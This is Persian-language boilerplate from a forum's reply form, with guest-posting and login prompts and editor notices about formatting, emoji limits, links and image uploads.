هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...